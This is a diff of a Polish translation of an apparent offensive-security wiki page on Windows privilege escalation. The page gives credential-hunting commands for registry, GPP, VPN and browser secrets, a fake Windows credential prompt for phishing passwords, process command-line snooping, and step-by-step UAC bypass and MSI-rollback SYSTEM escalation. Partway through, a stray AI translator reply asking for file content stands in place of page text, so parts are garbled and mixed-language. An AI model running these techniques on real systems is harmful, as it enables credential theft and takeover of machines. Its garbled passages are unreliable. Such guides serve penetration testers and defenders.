[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Więcej informacji o tej technice tutaj: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Jeśli usługa `ssh-agent` nie działa i chcesz, aby uruchamiała się automatycznie przy starcie systemu, uruchom: +Jeśli usługa `ssh-agent` nie działa i chcesz, aby uruchamiała się automatycznie przy starcie, uruchom: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Wygląda na to, że ta technika nie jest już aktualna. Próbowałem utworzyć klucze ssh, dodać je za pomocą `ssh-add` i zalogować się przez ssh na maszynę. Rejestr HKCU\Software\OpenSSH\Agent\Keys nie istnieje, a procmon nie wykrył użycia `dpapi.dll` podczas uwierzytelniania kluczem asymetrycznym. +> Wygląda na to, że ta technika nie działa już. Próbowałem utworzyć kilka kluczy ssh, dodać je za pomocą `ssh-add` i zalogować się przez ssh na maszynę. Rejestr HKCU\Software\OpenSSH\Agent\Keys nie istnieje i procmon nie wykrył użycia `dpapi.dll` podczas uwierzytelniania asymetrycznego. -### Pliki bez nadzoru +### Pliki bezobsługowe ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -973,7 +1009,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -Możesz również wyszukać te pliki za pomocą **metasploit**: _post/windows/gather/enum_unattend_ +Możesz też wyszukać te pliki przy użyciu **metasploit**: _post/windows/gather/enum_unattend_ Przykładowa zawartość: ```xml @@ -1016,15 +1052,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Szukaj pliku o nazwie **SiteList.xml** +Wyszukaj plik o nazwie **SiteList.xml** ### Zbuforowane hasło GPP -Funkcja pozwalała wcześniej na wdrażanie niestandardowych kont administratora lokalnego na grupie maszyn za pomocą Group Policy Preferences (GPP). Jednak ta metoda miała poważne luki w zabezpieczeniach. Po pierwsze, Group Policy Objects (GPOs), przechowywane jako pliki XML w SYSVOL, mogły być dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPP, zaszyfrowane AES256 przy użyciu publicznie udokumentowanego klucza domyślnego, mogły zostać odszyfrowane przez dowolnego uwierzytelnionego użytkownika. Stanowiło to poważne ryzyko, ponieważ mogło pozwolić użytkownikom na uzyskanie podwyższonych uprawnień. +Dawniej istniała funkcja umożliwiająca wdrażanie niestandardowych lokalnych kont administratora na grupie maszyn za pomocą Group Policy Preferences (GPP). Jednak metoda ta miała poważne luki bezpieczeństwa. Po pierwsze, Group Policy Objects (GPO), przechowywane jako pliki XML w SYSVOL, były dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPP, zaszyfrowane AES256 przy użyciu publicznie udokumentowanego klucza domyślnego, mogły zostać odszyfrowane przez dowolnego uwierzytelnionego użytkownika. Stanowiło to poważne ryzyko, ponieważ mogło to pozwolić użytkownikom na uzyskanie podwyższonych uprawnień. -Aby zmniejszyć to ryzyko, opracowano funkcję skanującą lokalnie zbuforowane pliki GPP zawierające pole "cpassword", które nie jest puste. Po znalezieniu takiego pliku funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera informacje o GPP i lokalizacji pliku, co pomaga w identyfikacji i usunięciu tej luki w zabezpieczeniach. +Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie zbuforowane pliki GPP zawierające pole "cpassword", które nie jest puste. Po znalezieniu takiego pliku funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera informacje o GPP i lokalizacji pliku, ułatwiając identyfikację i usunięcie tej luki bezpieczeństwa. -Szukaj w `C:\ProgramData\Microsoft\Group Policy\history` lub w _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (przed Windows Vista)_ tych plików: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (przed Windows Vista)_ for these files: - Groups.xml - Services.xml @@ -1038,7 +1074,7 @@ Szukaj w `C:\ProgramData\Microsoft\Group Policy\history` lub w _**C:\Documents a #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -Użycie crackmapexec do zdobycia haseł: +Używanie crackmapexec do pobrania haseł: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` @@ -1066,7 +1102,7 @@ Przykład web.config z poświadczeniami: ``` -### Dane uwierzytelniające OpenVPN +### OpenVPN dane uwierzytelniające ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1086,7 +1122,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Dzienniki +### Logi ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1094,9 +1130,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Poproś o credentials +### Zapytaj o credentials -Zawsze możesz poprosić użytkownika, aby wpisał swoje **credentials** lub nawet **credentials** innego użytkownika, jeśli uważasz, że może je znać (zauważ, że bezpośrednie **poproszenie** klienta o **credentials** jest naprawdę **ryzykowne**): +Możesz zawsze **poprosić użytkownika o wpisanie jego credentials lub nawet credentials innego użytkownika**, jeśli uważasz, że może je znać (zauważ, że **poproszenie** klienta bezpośrednio o **credentials** jest naprawdę **ryzykowne**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1104,9 +1140,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Możliwe nazwy plików zawierające credentials** +### **Możliwe nazwy plików zawierających poświadczenia** -Znane pliki, które jakiś czas temu zawierały **passwords** w **clear-text** lub **Base64** +Znane pliki, które jakiś czas temu zawierały **hasła** w postaci **jawnego tekstu** lub **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1170,7 +1206,14 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Wyszukaj wszystkie proponowane pliki: +Nie otrzymałem treści pliku(a). Proszę wgrać lub wkleić zawartość pliku(ów) (np. src/windows-hardening/windows-local-privilege-escalation/README.md) które mam przetłumaczyć — wtedy przetłumaczę je na polski zachowując dokładnie markdown, tagi i ścieżki. + +Jeśli chcesz, żebym przeszukał wiele plików w repozytorium, podaj: +- listę ścieżek plików lub +- archiwum/repozytorium (link) albo +- wklej zawartości plików. + +Potwierdź też, czy tłumaczyć tylko tekst narracyjny (nie tłumaczę kodu, nazw technik, linków ani tagów, zgodnie z wytycznymi). ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1179,11 +1222,11 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Poświadczenia w RecycleBin +### Poświadczenia w Koszu -Powinieneś także sprawdzić Bin w poszukiwaniu poświadczeń. +Powinieneś także sprawdzić Kosz w poszukiwaniu poświadczeń -Aby **odzyskać hasła** zapisane przez różne programy, możesz użyć: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Aby **odzyskać hasła** zapisane przez różne programy możesz użyć: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) ### W rejestrze @@ -1194,12 +1237,12 @@ reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` -[**Wyodrębnij klucze openssh z rejestru.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) ### Historia przeglądarek -Powinieneś sprawdzić bazy danych (dbs), w których przechowywane są hasła z **Chrome lub Firefox**.\ -Sprawdź też historię, zakładki i ulubione przeglądarek, bo być może niektóre **hasła są** tam zapisane. +Sprawdź bazy danych, w których przechowywane są hasła z **Chrome or Firefox**.\ +Sprawdź także historię, zakładki i ulubione przeglądarek — być może niektóre **hasła są** tam przechowywane. Narzędzia do wyodrębniania haseł z przeglądarek: @@ -1210,26 +1253,26 @@ Narzędzia do wyodrębniania haseł z przeglądarek: ### **COM DLL Overwriting** -**Component Object Model (COM)** to technologia wbudowana w system Windows, która umożliwia **intercommunication** między komponentami oprogramowania napisanymi w różnych językach. Każdy komponent COM jest **identified via a class ID (CLSID)**, a każdy komponent udostępnia funkcjonalność poprzez jeden lub więcej interfejsów, identyfikowanych przez interface IDs (IIDs). +**Component Object Model (COM)** to technologia wbudowana w systemie Windows, która umożliwia **komunikację** między komponentami oprogramowania napisanymi w różnych językach. Każdy komponent COM jest **identyfikowany via a class ID (CLSID)** i każdy komponent udostępnia funkcjonalność przez jeden lub więcej interfejsów, identyfikowanych przez interface IDs (IIDs). -Klasy i interfejsy COM są zdefiniowane w rejestrze pod **HKEY\CLASSES\ROOT\CLSID** oraz **HKEY\CLASSES\ROOT\Interface**. Ten rejestr jest tworzony przez połączenie **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +Klasy i interfejsy COM są zdefiniowane w rejestrze pod **HKEY\CLASSES\ROOT\CLSID** i **HKEY\CLASSES\ROOT\Interface** odpowiednio. Ten obszar rejestru powstaje przez połączenie **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Wewnątrz CLSID-ów w tym rejestrze można znaleźć podrzędny klucz rejestru **InProcServer32**, który zawiera **default value** wskazującą na **DLL** oraz wartość nazwaną **ThreadingModel**, która może mieć wartość **Apartment** (jednowątkowy), **Free** (wielowątkowy), **Both** (jedno- lub wielowątkowy) lub **Neutral** (neutralny wątkowo). +Wewnątrz CLSID-ów w tym rejestrze można znaleźć podklucz **InProcServer32**, który zawiera a **default value** wskazującą na **DLL** oraz wartość o nazwie **ThreadingModel**, która może być **Apartment** (jednowątkowy), **Free** (wielowątkowy), **Both** (jedno- lub wielowątkowy) lub **Neutral** (neutralny względem wątków). ![](<../../images/image (729).png>) -Zasadniczo, jeśli możesz **overwrite any of the DLLs** które zostaną uruchomione, możesz **escalate privileges** jeśli ta DLL zostanie uruchomiona przez innego użytkownika. +W praktyce, jeśli możesz **overwrite any of the DLLs** które zostaną wykonane, możesz **escalate privileges** jeśli ta DLL zostanie wykonana przez innego użytkownika. -Aby dowiedzieć się, jak atakujący używają COM Hijacking jako mechanizmu utrzymania dostępu, sprawdź: +Aby dowiedzieć się, jak atakujący wykorzystują COM Hijacking jako mechanizm utrwalania dostępu, sprawdź: {{#ref}} com-hijacking.md {{#endref}} -### **Generic Password search in files and registry** +### **Ogólne wyszukiwanie haseł w plikach i rejestrze** -**Szukaj w zawartości plików** +**Przeszukaj zawartość plików** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config @@ -1248,13 +1291,13 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Narzędzia wyszukujące hasła +### Narzędzia, które wyszukują passwords -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin. Stworzyłem ten plugin, aby **automatically execute every metasploit POST module that searches for credentials** na systemie ofiary.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatycznie wyszukuje wszystkie pliki zawierające hasła wymienione na tej stronie.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) to kolejne świetne narzędzie do wydobywania haseł z systemu. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin. Stworzyłem tę wtyczkę, aby **automatically execute every metasploit POST module that searches for credentials** inside the victim.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatycznie wyszukuje wszystkie pliki zawierające passwords wspomniane na tej stronie.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) to kolejne świetne narzędzie do extract password z systemu. -Narzędzie [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) wyszukuje **sessions**, **usernames** i **passwords** z kilku narzędzi, które zapisują te dane w postaci jawnego tekstu (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) +Narzędzie [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) wyszukuje **sessions**, **usernames** i **passwords** kilku narzędzi, które zapisują te dane w clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1263,30 +1306,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Wyobraź sobie, że **proces działający jako SYSTEM otwiera nowy proces** (`OpenProcess()`) z **pełnym dostępem**. Ten sam proces **również tworzy nowy proces** (`CreateProcess()`) **o niskich uprawnieniach, ale dziedziczący wszystkie otwarte handle głównego procesu**.\ -Wtedy, jeśli masz **pełny dostęp do procesu o niskich uprawnieniach**, możesz przechwycić **otwarty handle do uprzywilejowanego procesu utworzonego** przy pomocy `OpenProcess()` i **wstrzyknąć shellcode**.\ +Wyobraź sobie, że **proces działający jako SYSTEM otwiera nowy proces** (`OpenProcess()`) z **pełnym dostępem**. Ten sam proces **tworzy też nowy proces** (`CreateProcess()`) **z niskimi uprawnieniami, ale dziedziczący wszystkie otwarte handle głównego procesu**.\ +Jeśli masz **pełny dostęp do procesu o niskich uprawnieniach**, możesz przejąć **otwarty handle do uprzywilejowanego procesu utworzonego** przy pomocy `OpenProcess()` i **wstrzyknąć shellcode**.\ [Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ [Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Segmenty pamięci współdzielonej, określane jako **pipes**, umożliwiają komunikację między procesami i przesyłanie danych. +Segmenty pamięci współdzielonej, nazywane **pipes**, umożliwiają komunikację między procesami i przesyłanie danych. -Windows udostępnia funkcję nazwaną **Named Pipes**, pozwalającą niepowiązanym procesom na wymianę danych, nawet między różnymi sieciami. Przypomina to architekturę klient/serwer, z rolami określonymi jako **named pipe server** i **named pipe client**. +Windows oferuje mechanizm o nazwie **Named Pipes**, pozwalający niepowiązanym procesom na wymianę danych, nawet przez różne sieci. Przypomina to architekturę client/server, z rolami określonymi jako **named pipe server** i **named pipe client**. -Gdy dane są wysyłane przez pipe przez **client**, **server**, który utworzył ten pipe, ma możliwość **przejęcia tożsamości** **clienta**, pod warunkiem że posiada odpowiednie uprawnienia **SeImpersonate**. Zidentyfikowanie **uprzywilejowanego procesu**, który komunikuje się przez pipe, które możesz naśladować, daje możliwość **uzyskania wyższych uprawnień** przez przyjęcie tożsamości tego procesu, gdy wejdzie on w interakcję z pipe, które utworzyłeś. Instrukcje wykonania takiego ataku można znaleźć [**here**](named-pipe-client-impersonation.md) oraz [**here**](#from-high-integrity-to-system). +Gdy dane są wysyłane przez **client** przez pipe, **server**, który ustawił pipe, ma możliwość **przyjęcia tożsamości** tego **clienta**, pod warunkiem że posiada odpowiednie prawa **SeImpersonate**. Zidentyfikowanie **uprzywilejowanego procesu**, który komunikuje się przez pipe, który możesz naśladować, daje możliwość **uzyskania wyższych uprawnień** poprzez przyjęcie tożsamości tego procesu, gdy wejdzie on w interakcję z pipe, który utworzyłeś. Instrukcje dotyczące przeprowadzenia takiego ataku znajdują się [**tutaj**](named-pipe-client-impersonation.md) oraz [**tutaj**](#from-high-integrity-to-system). -Ponadto następujące narzędzie pozwala **przechwycić komunikację named pipe za pomocą narzędzia takiego jak burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **a to narzędzie pozwala wypisać i przeglądać wszystkie pipe, aby znaleźć privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Ponadto następujące narzędzie umożliwia **przechwytywanie komunikacji named pipe za pomocą narzędzia takiego jak burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **a to narzędzie pozwala wylistować i zobaczyć wszystkie pipes, aby znaleźć privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Różne +## Misc -### Rozszerzenia plików, które mogą uruchamiać kod w Windows +### Rozszerzenia plików, które mogą wykonywać kod w Windows Zobacz stronę **[https://filesec.io/](https://filesec.io/)** -### **Monitorowanie linii poleceń w poszukiwaniu haseł** +### **Monitorowanie linii poleceń pod kątem haseł** -Po uzyskaniu shel’a jako użytkownik mogą istnieć zadania zaplanowane lub inne procesy uruchamiane, które **przekazują poświadczenia w linii poleceń**. Skrypt poniżej przechwytuje linie poleceń procesów co dwie sekundy i porównuje bieżący stan z poprzednim, wypisując wszelkie różnice. +Po uzyskaniu shella jako użytkownik mogą istnieć zaplanowane zadania lub inne procesy, które są uruchamiane i **przekazują dane uwierzytelniające w linii poleceń**. Skrypt poniżej przechwytuje linie poleceń procesów co dwie sekundy i porównuje aktualny stan z poprzednim, wypisując wszelkie różnice. ```bash while($true) { @@ -1298,13 +1341,13 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2 ``` ## Kradzież haseł z procesów -## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## Z konta użytkownika z niskimi uprawnieniami do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Jeśli masz dostęp do interfejsu graficznego (przez console lub RDP) i UAC jest włączony, w niektórych wersjach Microsoft Windows możliwe jest uruchomienie terminala lub dowolnego innego procesu, takiego jak "NT\AUTHORITY SYSTEM", z konta użytkownika bez uprawnień. +Jeśli masz dostęp do interfejsu graficznego (przez konsolę lub RDP) i UAC jest włączony, w niektórych wersjach Microsoft Windows możliwe jest uruchomienie terminala lub innego procesu jako "NT\AUTHORITY SYSTEM" z konta nieuprzywilejowanego użytkownika. -To umożliwia eskalację uprawnień i ominięcie UAC jednocześnie, wykorzystując tę samą podatność. Dodatkowo nie ma potrzeby instalowania niczego, a binarium używane w tym procesie jest podpisane i dostarczone przez Microsoft. +Pozwala to na eskalację uprawnień i obejście UAC jednocześnie za pomocą tej samej luki. Dodatkowo nie ma potrzeby instalowania czegokolwiek, a plik binarny używany podczas procesu jest podpisany i wydany przez Microsoft. -Niektóre z podatnych systemów to: +Niektóre z dotkniętych systemów to: ``` SERVER ====== @@ -1326,7 +1369,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Aby wykorzystać tę lukę, konieczne jest wykonanie następujących kroków: +Aby wykorzystać tę lukę, należy wykonać następujące kroki: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1348,134 +1391,134 @@ You have all the necessary files and information in the following GitHub reposit https://github.com/jas502n/CVE-2019-1388 -## From Administrator Medium to High Integrity Level / UAC Bypass +## Z Administrator Medium do High Integrity Level / UAC Bypass -Read this to **learn about Integrity Levels**: +Przeczytaj to, aby **dowiedzieć się o Integrity Levels**: {{#ref}} integrity-levels.md {{#endref}} -Then **read this to learn about UAC and UAC bypasses:** +Następnie **przeczytaj to, aby dowiedzieć się o UAC i UAC bypasses:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP +## Z Arbitrary Folder Delete/Move/Rename do SYSTEM EoP -The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +Technika opisana [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) z kodem exploit [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Atak zasadniczo polega na nadużyciu funkcji rollback Windows Installer, aby zastąpić legalne pliki złośliwymi podczas procesu deinstalacji. W tym celu atakujący musi utworzyć **złośliwy MSI installer**, który będzie użyty do przejęcia folderu `C:\Config.Msi`, a który następnie będzie używany przez Windows Installer do przechowywania plików rollback podczas deinstalacji innych pakietów MSI — pliki rollback zostaną zmodyfikowane, aby zawierały złośliwy payload. +Atak zasadniczo polega na nadużyciu mechanizmu rollback Windows Installer, aby zastąpić prawidłowe pliki złośliwymi podczas procesu deinstalacji. W tym celu atakujący musi utworzyć **malicious MSI installer**, który zostanie użyty do przejęcia folderu `C:\Config.Msi`, który później będzie używany przez Windows Installer do przechowywania plików rollback podczas deinstalacji innych pakietów MSI, gdzie pliki rollback zostałyby zmodyfikowane, aby zawierać złośliwy payload. -Skrócona technika wygląda następująco: +Podsumowana technika wygląda następująco: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- Step 1: Install the MSI -- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). -- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. -- Keep a **handle** open to the file after install. +- Krok 1: Zainstaluj MSI +- Utwórz `.msi`, które instaluje nieszkodliwy plik (np. `dummy.txt`) w zapisywalnym folderze (`TARGETDIR`). +- Oznacz instalator jako **"UAC Compliant"**, tak aby użytkownik niebędący administratorem mógł go uruchomić. +- Pozostaw po instalacji otwarty **handle** do pliku. -- Step 2: Begin Uninstall -- Uninstall the same `.msi`. -- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). -- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. +- Krok 2: Rozpocznij deinstalację +- Odinstaluj to samo `.msi`. +- Proces deinstalacji zaczyna przenosić pliki do `C:\Config.Msi` i zmieniać ich nazwy na `.rbf` (rollback backups). +- Monitoruj otwarty handle pliku używając `GetFinalPathNameByHandle`, aby wykryć kiedy plik stanie się `C:\Config.Msi\.rbf`. -- Step 3: Custom Syncing -- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: -- Signals when `.rbf` has been written. -- Then **waits** on another event before continuing the uninstall. +- Krok 3: Custom Syncing +- `.msi` zawiera **custom uninstall action (`SyncOnRbfWritten`)**, która: +- Sygnalizuje, kiedy `.rbf` został zapisany. +- Następnie **czeka** na inne zdarzenie zanim kontynuuje deinstalację. -- Step 4: Block Deletion of `.rbf` -- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. -- Then **signal back** so the uninstall can finish. -- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. +- Krok 4: Block Deletion of `.rbf` +- Po otrzymaniu sygnału, **otwórz plik `.rbf`** bez `FILE_SHARE_DELETE` — to **uniemożliwia jego usunięcie**. +- Następnie **odeslij sygnał**, aby deinstalacja mogła się zakończyć. +- Windows Installer nie udaje się usunąć `.rbf`, i ponieważ nie może usunąć wszystkich zawartości, **`C:\Config.Msi` nie zostaje usunięty**. -- Step 5: Manually Delete `.rbf` -- You (attacker) delete the `.rbf` file manually. -- Now **`C:\Config.Msi` is empty**, ready to be hijacked. +- Krok 5: Manually Delete `.rbf` +- Ty (atakujący) usuwasz plik `.rbf` ręcznie. +- Teraz **`C:\Config.Msi` jest pusty**, gotowy do przejęcia. -> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. +> W tym momencie, **wywołaj lukę umożliwiającą usunięcie folderu na poziomie SYSTEM** aby usunąć `C:\Config.Msi`. 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- Step 6: Recreate `C:\Config.Msi` with Weak ACLs -- Recreate the `C:\Config.Msi` folder yourself. -- Set **słabe DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. +- Krok 6: Recreate `C:\Config.Msi` with Weak ACLs +- Odtwórz folder `C:\Config.Msi` samodzielnie. +- Ustaw **weak DACLs** (np. Everyone:F) i **utrzymaj otwarty handle** z `WRITE_DAC`. -- Step 7: Run Another Install -- Install the `.msi` again, with: -- `TARGETDIR`: Writable location. -- `ERROROUT`: A variable that triggers a forced failure. -- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. +- Krok 7: Run Another Install +- Zainstaluj ponownie `.msi`, z: +- `TARGETDIR`: zapisywalna lokalizacja. +- `ERROROUT`: zmienna, która wywołuje wymuszone niepowodzenie. +- Ta instalacja posłuży do ponownego wywołania **rollback**, który czyta `.rbs` i `.rbf`. -- Step 8: Monitor for `.rbs` -- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. -- Capture its filename. +- Krok 8: Monitor for `.rbs` +- Użyj `ReadDirectoryChangesW` aby monitorować `C:\Config.Msi` aż pojawi się nowe `.rbs`. +- Przechwyć jego nazwę pliku. -- Step 9: Sync Before Rollback -- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: -- Signals an event when the `.rbs` is created. -- Then **waits** before continuing. +- Krok 9: Sync Before Rollback +- `.msi` zawiera **custom install action (`SyncBeforeRollback`)**, która: +- Sygnalizuje zdarzenie, gdy `.rbs` zostanie utworzone. +- Następnie **czeka** zanim kontynuuje. -- Step 10: Reapply Weak ACL -- After receiving the `.rbs created` event: -- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. -- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. +- Krok 10: Reapply Weak ACL +- Po otrzymaniu zdarzenia `.rbs created`: +- Windows Installer **ponownie stosuje silne ACL** do `C:\Config.Msi`. +- Ale ponieważ nadal masz handle z `WRITE_DAC`, możesz ponownie **zastosować weak ACLs**. -> ACLs are **only enforced on handle open**, so you can still write to the folder. +> ACLs są **egzekwowane tylko przy otwarciu handle**, więc nadal możesz zapisywać do folderu. -- Step 11: Drop Fake `.rbs` and `.rbf` -- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: -- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. +- Krok 11: Drop Fake `.rbs` and `.rbf` +- Nadpisz plik `.rbs` **fałszywym skryptem rollback**, który mówi Windows, aby: +- Przywrócić twój plik `.rbf` (złośliwy DLL) do **uprzywilejowanej lokalizacji** (np. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Upuścić twoje fałszywe `.rbf` zawierające **złośliwy DLL na poziomie SYSTEM**. -- Step 12: Trigger the Rollback -- Signal the sync event so the installer resumes. -- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. -- This causes **rollback to begin**. +- Krok 12: Trigger the Rollback +- Zasygnałuj zdarzenie synchronizacji, aby instalator wznowił. +- Konfigurowana jest **type 19 custom action (`ErrorOut`)**, która **celowo powoduje niepowodzenie instalacji** w znanym punkcie. +- To powoduje rozpoczęcie **rollback**. -- Step 13: SYSTEM Installs Your DLL +- Krok 13: SYSTEM Installs Your DLL - Windows Installer: -- Reads your malicious `.rbs`. -- Copies your `.rbf` DLL into the target location. -- You now have your **malicious DLL in a SYSTEM-loaded path**. +- Odczytuje twój złośliwy `.rbs`. +- Kopiuje twój `.rbf` DLL do docelowej lokalizacji. +- Teraz masz swój **złośliwy DLL w ścieżce ładowanej przez SYSTEM**. - Final Step: Execute SYSTEM Code -- Run a trusted 